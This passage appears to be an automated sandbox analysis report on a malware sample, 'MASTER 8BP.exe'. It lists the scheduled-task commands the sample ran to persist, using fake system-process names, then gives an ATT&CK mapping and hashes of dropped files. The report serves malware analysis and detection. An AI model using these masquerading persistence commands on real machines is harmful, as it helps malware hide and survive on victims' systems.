1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Internet Explorer\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Internet Explorer\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\Services\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Services\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Common Files\Services\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\odt\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\odt\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\odt\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "bl_fontreviewmonitordllrefsvcb" /sc MINUTE /mo 5 /tr "'C:\odt\bl_fontreviewmonitordllrefsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "bl_fontreviewmonitordllrefsvc" /sc ONLOGON /tr "'C:\odt\bl_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "bl_fontreviewmonitordllrefsvcb" /sc MINUTE /mo 14 /tr "'C:\odt\bl_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Desktop\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\Public\Desktop\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Desktop\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\ImmersiveControlPanel\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\ImmersiveControlPanel\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Windows\ImmersiveControlPanel\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\odt\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\odt\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\odt\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4544

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\bl_fontreviewmonitordllrefsvc.exe.log
Filesize
1KB

MD5
bbb951a34b516b66451218a3ec3b0ae1

SHA1
7393835a2476ae655916e0a9687eeaba3ee876e9

SHA256
eb70c64ae99d14ac2588b7a84854fbf3c420532d7fe4dfd49c7b5a70c869943a

SHA512
63bcbfcf8e7421c66855c487c31b2991a989bdea0c1edd4c40066b52fa3eb3d9d37db1cd21b8eb4f33dd5870cc20532c8f485eab9c0b4f6b0793a35c077f2d6f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\Temp\KDHlmafhvp.bat
Filesize
196B

MD5
beeae962d44d0cc4f75d64d863cec3d7

SHA1
b288514a0315749514d2001952caca7f317caea7

SHA256
b9fff249d4d87abf3336e8fa06f518cdf8a0ce67aacb927531195e0724e949cb

SHA512
d4210b33250bfd9f1eeab9a2ec5d01ecd1271d097fee4a4bce2cdaa92facbb505f9254ed790e63ee840141215d3fad0ca9ed7a432eb662eb80fef1d0b03d023f

Download Submit
C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
Filesize
2.1MB

MD5
3ee631ed0386c88faaad83c97ade2dcd

SHA1
308ac9da54565404430b220881c76f49793c0e9f

SHA256
be66aee2bca9fe25b83908cb03dd991670725c754df97b2ea66eeca5e3d1f8c6

SHA512
976f1d04125ff29c4ef90efc2fd91db9cb146261a14c68a04169c955755a53d3f8c436c5c41a93564b4aa4800317e0b61b170ebc409eb346f5ae29762e518e0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
Filesize
2.1MB

MD5
3ee631ed0386c88faaad83c97ade2dcd

SHA1
308ac9da54565404430b220881c76f49793c0e9f

SHA256
be66aee2bca9fe25b83908cb03dd991670725c754df97b2ea66eeca5e3d1f8c6

SHA512
976f1d04125ff29c4ef90efc2fd91db9cb146261a14c68a04169c955755a53d3f8c436c5c41a93564b4aa4800317e0b61b170ebc409eb346f5ae29762e518e0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
Filesize
2.1MB

MD5
3ee631ed0386c88faaad83c97ade2dcd

SHA1
308ac9da54565404430b220881c76f49793c0e9f

SHA256
be66aee2bca9fe25b83908cb03dd991670725c754df97b2ea66eeca5e3d1f8c6

SHA512
976f1d04125ff29c4ef90efc2fd91db9cb146261a14c68a04169c955755a53d3f8c436c5c41a93564b4aa4800317e0b61b170ebc409eb346f5ae29762e518e0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rsemu5zy.vlg.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\j0bjkvmJgN.bat
Filesize
229B

MD5
190b33698cf15be1710301a2fee11e0a

SHA1
6581e1c1cec35d29da12088dbab6a31c87ce8f6f

SHA256
34af0ad1fcab0ca4af5524bd827cb7becb890e1632ee2a47feb1cc4bf8282a16

SHA512
0c781b053e22b0d71e98114f2a017cb9bab018a839a18ff96665df03223c635e5c4d6bb1f9945f1bebf44568dfae5b694ceeecf30679e7bb65053d51be856615

Download Submit
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Roaming\conhost_8.exe
Filesize
2.0MB

MD5
b521b2a220a99d820b688d4ad5db8067

SHA1
08e97a2e4871b789d3388fd51479710626b69a92

SHA256
55371f430ea0369bf4e079f39558a4c6c5462b19ddc9f16f064286288f50a12b

SHA512
2e4d9b8d556a609abae4dfedf18136618fb1bb8f77d3a596c97bffc2edde9dec147456dcf586c00de9a438b789599fe288de8117109b6b04db9045279b3caca1

Download Submit
C:\Users\Admin\AppData\Roaming\conhost_8.exe
Filesize
2.0MB

MD5
b521b2a220a99d820b688d4ad5db8067

SHA1
08e97a2e4871b789d3388fd51479710626b69a92

SHA256
55371f430ea0369bf4e079f39558a4c6c5462b19ddc9f16f064286288f50a12b

SHA512
2e4d9b8d556a609abae4dfedf18136618fb1bb8f77d3a596c97bffc2edde9dec147456dcf586c00de9a438b789599fe288de8117109b6b04db9045279b3caca1

Download Submit
memory/1868-271-0x000002A6277B0000-0x000002A6277C0000-memory.dmp

Filesize
64KB

Download
memory/1868-261-0x000002A6277B0000-0x000002A6277C0000-memory.dmp

Filesize
64KB

Download
memory/2172-134-0x000000007FA70000-0x000000007FE41000-memory.dmp

Filesize
3.8MB

Download
memory/2172-133-0x0000000000400000-0x00000000015D9000-memory.dmp

Filesize
17.8MB

Download
memory/2172-135-0x0000000000400000-0x00000000015D9000-memory.dmp

Filesize
17.8MB

Download
memory/2172-166-0x0000000000400000-0x00000000015D9000-memory.dmp

Filesize
17.8MB

Download
memory/3880-210-0x00007FF75C0B0000-0x00007FF75C2C5000-memory.dmp

Filesize
2.1MB

Download
memory/4160-246-0x000001E02A6D0000-0x000001E02A6E0000-memory.dmp

Filesize
64KB

Download
memory/4160-247-0x000001E02A6D0000-0x000001E02A6E0000-memory.dmp

Filesize
64KB

Download
memory/4160-248-0x000001E02A6D0000-0x000001E02A6E0000-memory.dmp

Filesize
64KB

Download
memory/4412-223-0x000000001BDE0000-0x000000001BDF0000-memory.dmp

Filesize
64KB

Download
memory/4412-222-0x000000001BDE0000-0x000000001BDF0000-memory.dmp

Filesize
64KB

Download
memory/4412-221-0x000000001BDE0000-0x000000001BDF0000-memory.dmp

Filesize
64KB

Download
memory/4420-177-0x000000001D2F0000-0x000000001D300000-memory.dmp

Filesize
64KB

Download
memory/4420-176-0x000000001D2F0000-0x000000001D300000-memory.dmp

Filesize
64KB

Download
memory/4420-169-0x000000001E090000-0x000000001E5B8000-memory.dmp

Filesize
5.2MB

Download
memory/4420-168-0x000000001D280000-0x000000001D2D0000-memory.dmp

Filesize
320KB

Download
memory/4420-167-0x000000001D2F0000-0x000000001D300000-memory.dmp

Filesize
64KB

Download
memory/4420-163-0x0000000000FB0000-0x000000000115E000-memory.dmp

Filesize
1.7MB

Download
memory/4888-201-0x0000014E73330000-0x0000014E73352000-memory.dmp

Filesize
136KB

Download